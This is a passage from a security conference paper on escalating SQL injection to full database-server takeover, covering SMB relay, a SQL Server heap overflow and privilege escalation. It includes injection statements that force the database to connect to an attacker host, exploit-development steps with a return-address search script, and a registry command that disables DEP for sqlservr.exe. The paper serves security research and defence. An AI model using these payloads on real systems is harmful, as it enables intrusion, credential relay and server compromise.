H D Moore well explained on Metasploit blog[15] how the exploit works:

> *"The Metasploit module takes over the established, authenticated SMB session, disconnects the client, and uses the session to upload and execute shellcode in a manner similar to how psexec.exe operates. First, a Windows executable is created that acts like a valid Windows service and executes the specified Metasploit payload. This payload is then uploaded to the root of the ADMIN$ share of the victim. Once the payload has been*

> *uploaded, the Service Control Manager is accessed over DCERPC (using a named pipe over SMB) and used to create a new service (pointing at the uploaded executable) and then start it. This service creates a new suspended process, injects the shellcode into it, resumes the process, and shuts itself down. The module then deletes the created service. At this point, the attacker has a remote shell (or other payload session) on the victim."*

It is unlikely that this attack will be successful over the Internet because usually firewalls filter incoming connections on SMB specific ports: 139/TCP and 445/TCP, but within local area networks they usually do not. Other requirements for the SMB reflection attack to be successful are that the victim's user must have administrative privileges and that the system must be configured to allow remote network logins.

On November 11, 2008, twelve years after the vulnerability was publicly disclosed, Microsoft released security bulletin MS08-068[24] (CVE-2008-4037). This bulletin includes a patch which prevents the relaying of challenge keys back to the same host which issued them: if a Windows server has this patch applied, the exploitation of this flaw does not work.

10.1 Universal Naming Convention

The Universal Naming Convention (UNC) specifies a common syntax to describe the location of a network resource, such as a shared file, directory, or printer.

An example of UNC path for Windows systems is as follows:

```
\\AttackerAddress\ExamplePath\Filename.txt
```

This syntax allows a Windows client to access the path `\ExamplePath\Filename.txt` on the `AttackerAddress` via SMB.

If `AttackerAddress` denies access to anonymous user (NULL session), the client automatically authenticates using the username of the logged-in user, domain, and his hashed password encrypted with the server-supplied challenge key.

10.2 Abuse UNC path requests

The UNC path request syntax can be abused to perform a SMB relay attack via SQL injection if the underlying operating system is Windows.

By executing Metasploit's SMB relay exploit, `exploits/windows/smb/smb_relay.rb`[77], on the attacker host and forcing the database server to access the attacker's fake SMB service, it can be possible to exploit the design flaw by performing the SMB reflection attack.

Also with this exploit, the attacker has a variety of options to choose to forge the payload, but in this case the payload will be sent directly from the SMB relay exploit after a successful exploitation of the SMB design flaw.

10.2.1 MySQL

On MySQL it is possible to request a resource and initiate a SMB session via UNC path request through either batched query or UNION query SQL injection. The SQL statement is as follows:

```
SELECT LOAD_FILE('\\\\AttackerAddress\\foobar.txt')
```

The session user must have the `FILE` privilege.

However it is unlikely that this attack will be successful because by default MySQL on Windows runs as `Local System` which is not a real user, it does not send the NTLM session hash when connecting to a SMB service.

If MySQL database is started as Administrator, this attack can be successful.

10.2.2 PostgreSQL

The SQL statements to perform a reverse UNC path request to the attacker host via batched queries SQL injection is as follows:

```
CREATE TABLE footable(foocolumn text);
COPY footable(foocolumn) FROM '\\\\AttackerAddress\\foobar.txt'
```

The session user must be a "super user".

However it is unlikely that this attack will be successful because by default PostgreSQL on Windows runs as `postgres` user which is a real user of the system, but not within the Administrators group.

10.2.3 Microsoft SQL Server

A possible SQL statement to perform a reverse UNC path request to the attacker host via batched queries SQL injection is as follows:

```
EXEC master..xp_dirtree '\\AttackerAddress\foobar.txt'
```

The session user needs to have `EXECUTE` privileges on the extended stored procedure, which all database users have by default.

By default Microsoft SQL Server 2000 runs as Administrator, consequently this attack shall be successful whereas on Microsoft SQL Server 2005 and 2008 it is unlikely that this attack will be successful because it runs usually as `Network Service` which is not a real user, it does not send the NTLM session hash when connecting to a SMB service.

11 Stored procedure buffer overflow

On December 4, 2008, Bernhard Mueller from SEC Consult Vulnerability Lab released an advisory titled *Microsoft SQL Server sp_ replwritetovarbin limited memory overwrite vulnerability*[6].

It is an heap-based buffer overflow on Microsoft SQL Server 2000 Service Pack 4 and earlier patch levels and Microsoft SQL Server 2005 Service Pack 2 and earlier patch levels. A successful exploitation of this security flaw allows an authenticated database users to cause a denial of service (Access Violation Exception) or to execute arbitrary code on the underlying operating system.

It is possible to exploit this vulnerability by calling the vulnerable Microsoft SQL Server stored procedure, `sp_replwritetovarbin`, with a set of invalid parameters that trigger a memory overwrite condition to a location controlled by the attacker.

At the time of writing this paper, no public exploit is available for this vulnerability except for a proof of concept[14] released by Guido Landi that exploits the vulnerability specifically on Microsoft SQL Server 2000 running on Windows 2000 Service Pack 4.

Two commercial exploits are available on two different commercial exploitation frameworks: on Immunity Canvas[16], the exploit is a one-shot only exploit and it seems to be written to work only through a direct connection to the database server and on Core Impact[10].

One interesting thing about this heap-based buffer overflow vulnerability is that it is possible to trigger the bug through a SQL injection also, moreover the session user does not need any administrative access on the DBMS: he needs to have `EXECUTE` privilege on the extended stored procedure, which all database users have by default.

On February 10, 2009 Microsoft released security bulletin MS09-004[25] (CVE-2008-5416). This bulletin addresses this security flaw: if a Windows server has this patch applied, the exploitation of this issue does not work.

11.1 Exploit

Guido Landi decided to release a reliable stand-alone exploit for this vulnerability with the publication of this white paper. I added support to the exploit for multi-stage payload generated by Metasploit's `msfpayload` and integrated it in sqlmap[4] to be able to exploit the vulnerability also via SQL injection.

Guido also explains his exploit as follows.

It could be pretty hard to achieve arbitrary code execution through heap-based buffer overflow vulnerabilities if the attacker intent is to exploit the system routines that manage the heap memory. Nevertheless, in this exploit we are going to use the buffer overflow to overwrite a function pointer thus achieving arbitrary code execution.

When the vulnerable stored procedure is called with a set of invalid parameters a first exception is raised by the processor:

```
MOV DWORD PTR DS:[EAX+4],EDI
```

Both the `EAX` and the `EDI` registers are attacker-controlled: the former comes directly from our buffer, the latter is related to the buffer length. Even if this is an (almost) arbitrary memory overwrite, it could be hard to use this to achieve code

execution. Actually this exception and the others that follow will be handled fairly by the Microsoft SQL Server process through the installed Windows Structured Exception Handling (SEH) mechanism. That allows us to simply skip some exceptions until we found one that will bring we to divert the execution flow.

After a sequence of exceptions the program reaches the following code:

```
010B0F5A . 8B42 10 MOV EAX,DWORD PTR DS:[EDX+10]
010B0F5D FFD0 CALL EAX
```

The memory pointed by `EDX+0x10` will be deferenced and moved to `EAX` then `EAX` will be called. Since the `EDX` register comes directly from our buffer, we can redirect the execution flow toward an arbitrary location, actually we will use this instruction to achieve code execution.

The first problem to solve is the value we want `EDX` to hold: since `ESI` and `ECX` registers point to our buffer where we reach that code, we want one of those being called. To do so we need to find a fixed address that holds another fixed address that points to a series of instructions that will redirect the execution flow to our buffer, some useful instructions could be:

```
"call ESI"
"call ECX"
"push ESI" and "RET"
"push ECX" and "RET"
```

The second problem is that both `ECX` and `EDI` registers point to our buffer where the address we want to be in `EDX` lies. We must be sure that this address can be interpreted as a series of instructions without raising any exception, otherwise the process will crash and our shellcode will not be executed.

The third problem is related to the repeatability of the exploit, we want it to be multiple shot, consequently allowing the attacker to launch it multiple times without crashing the Microsoft SQL Server process.

Finding the right return address is often a matter of time and requires to look up some DLLs for the instructions we need: either manually with a debugger or with the Metasploit's `msfpescan`[27] tool. Often it is a good idea to search for the return address in an executable module included by the program itself, but in this case due to the fact that different versions of the Microsoft SQL server exist, you better use an address contained in one system's DLL. It is not that easy because of the level of indirection brought by the `MOV` instruction that deference the `EDX` pointer. We can use a little script with `msfpescan` that first search for the instruction we need and then for an address that holds a pointer to the instructions found:

[27] Metasploit's `msfpescan` can be used to analyze and disassemble executables and DLLs, which helps to find the correct offsets and addresses during the stage of exploitation and privilege escalation.

```
for i in $(./msfpescan -j ESI,ECX shell32.dll | grep 0x | sed
-e 's/0x//' | awk '{print $1}' | perl -e 'while(<>) { chop;
@a=($_=~/.{2}/gm); print "\\x",join("\\x",reverse(@a)), "\n";
}'); do ./msfpescan -r "$i" shell32.dll | grep 0x ; done
```

This will search the instructions needed to "land" in our buffer in `shell32.dll` and a pointer to one of those instructions in `shell32.dll`. It is also possible to specify different DLL. This was done for the return address used to target Windows 2003 Service Pack 2: the instructions lie in `kernel32.dll` and we found a pointer to them in `ntdll.dll`.

Since the address must also be interpreted and executed as a set of assembly instructions, we must check if those instructions can be executed without crashing the program. The third address for instance is fine for us because interpreted as instructions turns out to be:

```
DCE1 FSUBR ST(1),ST
F8 CLC
7C 01 JL 0x1
```

These instructions will be executed and will bring us to our shellcode.

The second problem, repeatability, it is solved by appending at the end of our shellcode a little stub of instructions that will restore the stack to the original state using some `"POP"` instructions and will then return exactly where we diverted the execution flow with a `"RET"` instruction. Further exceptions will be handled by the SEH mechanism installed by the program and the Microsoft SQL Server process will continue to run correctly.

11.2 Memory protection

Data Execution Prevention (DEP) is a security feature that prevents code execution in memory pages not marked as executable

From Microsoft Help and Support site[26]:

> *"DEP configuration for the system is controlled through switches in the `boot.ini` file. If you are logged on as an administrator, you can now easily configure DEP settings by using the System dialog box in Control Panel.*
>
> *Windows supports four system-wide configurations for both hardware-enforced and software-enforced DEP."*

Data Execution Prevention possible settings are:

- **OptIn**: only Windows system binaries are covered by DEP by default;
- **OptOut**: DEP is enabled by default for all processes, exceptions are allowed;
- **AlwaysOn**: all processes always run with DEP applied, no exceptions allowed;
- **AlwaysOff**: no DEP coverage for any part of the system.

Data Execution Prevention exists from the following Windows service packs:

- Windows XP Service Pack 2: default value is **OptIn**;
- Windows Server 2003 Service Pack 1: default value is **OptOut**[28];
- Windows Vista Service Pack 0: default value is **OptIn**;
- Windows 2008 Service Pack 0: default value is **OptOut**.

Note that it does not exist on Windows 2000 and on any previous Windows version.

11.3 Bypass DEP

Over the years different methods to bypass this security mechanism have been developed and publicly released. Actually they are all based on the possibility to control at least some pointers on the stack and to chain at least two function calls after the vulnerability has been triggered.

The first, or the first set, of function calls are used to disable DEP for the current process or to mark a specific memory page as executable using `VirtualAlloc / VirtualProtect` or to copy the shellcode to a memory page already marked as executable, the second call is the one that will redirect the execution flow to the injected shellcode.

The vulnerability in exam, *MS09-004*, is an heap-based buffer overflow that does not permit to directly control data on the stack and so it seems not possible to chain multiple calls together. Even if we could use some execution paths, this could lead to almost arbitrary overwrites to create fake stack frames, being the Microsoft SQL Server stack highly unstable, that possibility seems to be only theoretical.

If DEP is set to `OptOut` or to `AlwaysOn`, the exploit will fail because the process will raise an *access violation* exception when it tries to execute code from the non executable memory space where the shellcode resides.

A possible way to get around Data Execution Prevention when it is set to `OptOut`, via SQL injection, is to add an exception for the Microsoft SQL Server executable, `sqlservr.exe`, in the Windows registry then restart the database process and launch the exploit.

The steps are:

- Create a `bat` file which executes the Windows `reg` executable to add in the Windows registry an exception for Microsoft SQL Server executable, `sqlservr.exe`:

```
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\AppCompatFlags\Layers" /v "C:\Program
Files\Microsoft SQL Server\MSSQL.1\MSSQL\Binn\sqlservr.exe"
/t REG_SZ /d DisableNXShowUI /f
```

- Create a `bat` file which executes the Windows `sc` executable to restart the Microsoft SQL Server service;
- Via batched queries:
  - Upload the `bat` files to the Windows temporary files directory;

- Execute the `bat` file to add the key name in the registry;
- Execute the other `bat` file to restart the Microsoft SQL Server service;
- Wait a few seconds for the Microsoft SQL Server service to restart;
- Trigger the vulnerability.

Part V
Privilege escalation

Metasploit's Meterpreter comes with an built-in extension that provides the attacker with Windows Access Token Delegation and Impersonation abuse support: `incognito`[19] developed by Luke Jennings.

This extension allows an attacker, among other features, to enumerate the `Delegation` and `Impersonation` tokens associated with the current user and to impersonate a specific token if the user has any: this leads to a privilege escalation to `Administrator` or `Local System` if the corresponding token handler is within the same thread of the process where meterpreter is running into; `incognito` does not support token handles brute-forcing.

Another way to perform a privilege escalation by abusing the Windows Access Token Delegation and Impersonation mechanism consists in using `Churrasco.exe`[8, 9].

`Churrasco.exe` is a stand-alone command-line Windows executable developed by Cesar Cerrudo which aim is to perform Windows Access Token Kidnapping[7]. This program takes as argument the name of the executable to run: it brute-forces the token handles in the current process from where it is called (e.g. MySQL or Microsoft SQL Server) and it runs the provided command with the brute-forced `SYSTEM` token, if the process' user has tokens: this is a privilege escalation because the provided command will run with higher privileges of the database process.

`Churrasco.exe` can be uploaded to the database server file system and used in the context of the out-of-band connection attack (Part IV) to execute the Metasploit payload stager as `SYSTEM`. This can be achieved when the database process runs as `Network Service`: Microsoft SQL Server 2005 and Microsoft SQL Server 2008 often run with this user which has, by design, both `Delegation` and `Impersonation` tokens.

Part VI
Conclusion

This paper explained how to exploit a single vulnerability in a web application at its best to get complete control of the server that runs the database, not only the data stored in the database as usually intended: the SQL injection itself can be considered as a stepping stone to the actual target for this research, which is the complete control of its server: operating system access, file system access and use of the compromised database server as a foothold in the internal network.

All the techniques described in this paper have been implemented in sqlmap[4]. sqlmap is an open source automatic SQL injection tool developed in Python by the author of this paper. It can be downloaded from its SourceForge File List page.

12 Acknowledgments

The author thanks Sheherazade Lana for her kindness, Guido Landi for Microsoft SQL Server buffer overflow exploit development and for describing in detail his exploit in this paper, Alessandro Tanasi for technical discussions and constant support, Alberto Revelli for his help on how to best integrate Metasploit in sqlmap, Simone Assumpção and Martin Callingham for peer reviewing this paper and the Black Hat team for the opportunity to present this research at Black Hat Europe 2009 Briefings on April 16, 2009 in Amsterdam.

References

[1] Alessandro Tanasi: *SQLi: Writing files to disk under PostgreSQL*. December 21, 2008.

[2] Antonin Foller: *Custom xp_cmdshell, using shell object*.

[3] Bernardo Damele Assumpção Guimarães: *Debug scripts from binaries*. January 12, 2009.

[4] Bernardo Damele Assumpção Guimarães: *sqlmap: automatic SQL injection tool*.

[5] Bernardo Damele Assumpção Guimarães: *sqlmap subversion repository*.

[6] Bernhard Mueller: *Microsoft SQL Server sp_replwritetovarbin limited memory overwrite vulnerability*. December 4, 2008.

[7] Cesar Cerrudo: *Token Kidnapping*

[8] Cesar Cerrudo: *Windows 2003 proof of concept exploit for token kidnapping*.

[9] Cesar Cerrudo: *Windows 2008 proof of concept exploit for token kidnapping*.

[10] Core Security Technologies: *Microsoft SQL Server sp_replwritetovarbin Remote Heap Overflow Exploit*. February 2, 2008.

[11] David Litchfield and others: *The Database Hacker's Handbook sample codes*.

[12] Dominique Brezinski: *A Weakness in CIFS Authentication*.

[13] GNU Project: *GCC*.

[14] Guido Landi: *Microsoft SQL Server "sp_replwritetovarbin()" Heap Overflow exploit*. December 17, 2008.

[15] H D Moore: *MS08-068: Metasploit and SMB Relay*. November 11, 2008.

[16] Immunity Security Inc: *Immunity CANVAS Professional*.

[17] John F. Reiser: *Ultimate Packager for eXecutables*. April 27, 2008.

[18] Josh Buchbinder: *The SMB Man-in-the-Middle Attack*. March 31, 2001.

[19] Luke Jennings: *Security Implications of Windows Access Tokens*. April 14, 2008.

[20] Marco Ivaldi: *Dynamic library for do_system() MySQL UDF*. January 18, 2006.

[21] Matt Miller: *Metasploit's Meterpreter*. December 26, 2004.

[22] Microsoft: *Debug*.

[23] Microsoft: *Microsoft Visual C++ 2008 Express Edition*.

[24] Microsoft: *Vulnerability in SMB Could Allow Remote Code Execution (KB957097)*. November 11, 2008.

[25] Microsoft: *Vulnerability in Microsoft SQL Server Could Allow Remote Code Execution (KB959420)*. February 10, 2009.

[26] Microsoft Help and Support: *A detailed description of the Data Execution Prevention (DEP) feature*. September 26, 2006.

[27] Microsoft Help and Support: *Converting Binary Data to Hexadecimal String*. February 22, 2005.

[28] Microsoft Help and Support: *The "Understanding Data Execution Prevention" help topic incorrectly states the default setting for DEP in Windows Server 2003 Service Pack 1*. October 6, 2006.

[29] Microsoft SQL Server 2000 Books Online: *xp_ cmdshell()*.

[30] Microsoft SQL Server 2005 Books Online: *xp_ cmdshell()*. November 2008.

[31] Microsoft SQL Server 2008 Books Online: *xp_ cmdshell()*. February 2009.

[32] Microsoft SQL Server 2008 Books Online: *WAITFOR (Transact-SQL)*. February 2009.

[33] Microsoft SQL Server 2008 Books Online: *BULK INSERT (Transact-SQL)*. February 2009.

[34] Microsoft SQL Server 2008 Books Online: *xp_ cmdshell (Transact-SQL)*. February 2009.

[35] MySQL 4.1 Reference Manual: *Changes in MySQL 4.1.25*. December 1, 2008.

[36] MySQL 5.0 Reference Manual: *Changes in MySQL 5.0.12*. September 2, 2005.

[37] MySQL 5.0 Reference Manual: *CREATE FUNCTION Syntax*.

[38] MySQL 5.0 Reference Manual: *Release Notes for MySQL Community Server 5.0.67*. August 4, 2008.

[39] MySQL 5.1 Reference Manual: *Changes in MySQL 5.1.19*. May 25, 2007.

[40] MySQL 5.1 Reference Manual: *Server System Variables - plugin_ dir*.

[41] MySQL 5.1 Reference Manual: *Adding a New User-Defined Function*.

[42] MySQL 5.1 Reference Manual: *Miscellaneous Functions: SLEEP()*.

[43] MySQL 5.1 Reference Manual: *Information Functions: BENCHMARK()*.

[44] MySQL 5.1 Reference Manual: *LOAD_ FILE() String Function*.

[45] MySQL 5.1 Reference Manual: *Privileges Provided by MySQL*.

[46] MySQL 5.1 Reference Manual: *LOAD DATA INFILE Syntax*.

[47] MySQL 5.1 Reference Manual: *String Functions*.

[48] MySQL 5.1 Reference Manual: *SELECT Syntax*.

[49] MySQL 5.1 Reference Manual: *INSERT Syntax.*

[50] MySQL 5.1 Reference Manual: *UPDATE Syntax.*

[51] MySQL 5.1 Reference Manual: *CREATE FUNCTION Syntax.*

[52] MySQL 6.0 Reference Manual: *CREATE FUNCTION Syntax.*

[53] MySQL *Connector/Net 5.2.*

[54] MySQL *Connector/OBDC 5.1.*

[55] Nico Leidecker: *Having Fun With PostgreSQL.* June 5, 2007.

[56] Nico Leidecker: *pgshell.*

[57] Open Web Application Security Project: *Guide to SQL Injection.* August 2008.

[58] Open Web Application Security Project: *OWASP Top Ten - Injection Flaws.* July 2007.

[59] Open Web Application Security Project: *Testing PostgreSQL.*

[60] PostgreSQL 8.3 Manual: *Release Notes for PostgreSQL 8.2.* December 5, 2005.

[61] PostgreSQL 8.3 Manual: *Date/Time Functions and Operators: Delaying Execution.*

[62] PostgreSQL 8.3 Manual: Set Returning Functions.

[63] PostgreSQL 8.3 Manual: *COPY.*

[64] PostgreSQL 8.3 Manual: *String Functions and Operators.*

[65] PostgreSQL 8.3 Manual: *Large Objects.*

[66] PostgreSQL 8.3 Manual: *Large Objects Server-Side Functions.*

[67] PostgreSQL 8.3 Manual: *pg_largeobject.*

[68] PostgreSQL 8.3 Manual: *CREATE.*

[69] PostgreSQL 8.3 Manual: *INSERT.*

[70] PostgreSQL 8.3 Manual: *UPDATE.*

[71] PostgreSQL 8.3 Manual: *Procedural Languages.*

[72] PostgreSQL 8.3 Manual: *C-Language Functions.*

[73] PostgreSQL *Npgsql .Net Data Provider.*

[74] rain.forest.puppy: *NT Web Technology Vulnerabilities.* Phrack Magazine Volume 8, Issue 54. December 25, 1998.

[75] Roland Bouman: *Creating MySQL UDFs with Microsoft Visual C++ Express.* September 24, 2007.

[76] The Metasploit Project: *Metasploit Framework 3.*

[77] The Metasploit Project: *Microsoft Windows SMB Relay Code Execution exploit.*

[78] The Metasploit Project: *Multi-handler exploit.*

[79] UDF Repository for MySQL: *lib_mysqludf_sys shared library.* January 25, 2009.

[80] Wikipedia on *Dynamic-link library.*

[81] Wikipedia on *Shared Object.*